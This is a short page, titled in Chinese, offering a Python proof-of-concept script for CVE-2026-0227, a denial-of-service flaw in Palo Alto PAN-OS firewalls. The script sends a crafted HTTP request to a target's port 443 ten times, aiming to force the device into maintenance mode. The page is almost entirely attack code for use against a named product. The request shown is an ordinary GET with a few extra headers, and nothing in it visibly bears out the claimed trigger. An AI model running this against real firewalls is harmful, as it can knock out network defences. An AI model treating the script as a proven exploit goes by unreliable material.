CVE-2026-0227: Palo Alto PAN-OS防火墙拒绝服务漏洞

# CVE-2026-0227 PoC - Palo Alto PAN-OS DoS import socket import sys import time def send_exploit(target_ip, target_port=443): """ Send crafted request to trigger DoS condition This PoC demonstrates the vulnerability in PAN-OS """ try: # Craft malicious HTTP request payload = b'GET /api/ HTTP/1.1\r\n' payload += b'Host: ' + target_ip.encode() + b'\r\n' payload += b'User-Agent: Mozilla/5.0\r\n' payload += b'X-Pan-Application: test\r\n' payload += b'X-Forwarded-For: 127.0.0.1\r\n' payload += b'\r\n\r\n' # Create socket connection sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_ip, target_port)) # Send payload sock.send(payload) print(f'[+] Payload sent to {target_ip}:{target_port}') # Receive response response = sock.recv(4096) print(f'[+] Response received: {response[:100]}') sock.close() return True except Exception as e: print(f'[-] Error: {str(e)}') return False def main(): if len(sys.argv) < 2: print('Usage: python cve_2026_0227_poc.py <target_ip>') sys.exit(1) target = sys.argv[1] print(f'[*] Starting DoS test against {target}') # Send multiple requests to trigger maintenance mode for i in range(10): print(f'[*] Attempt {i+1}/10') send_exploit(target) time.sleep(1) print('[*] Test completed') if __name__ == '__main__': main()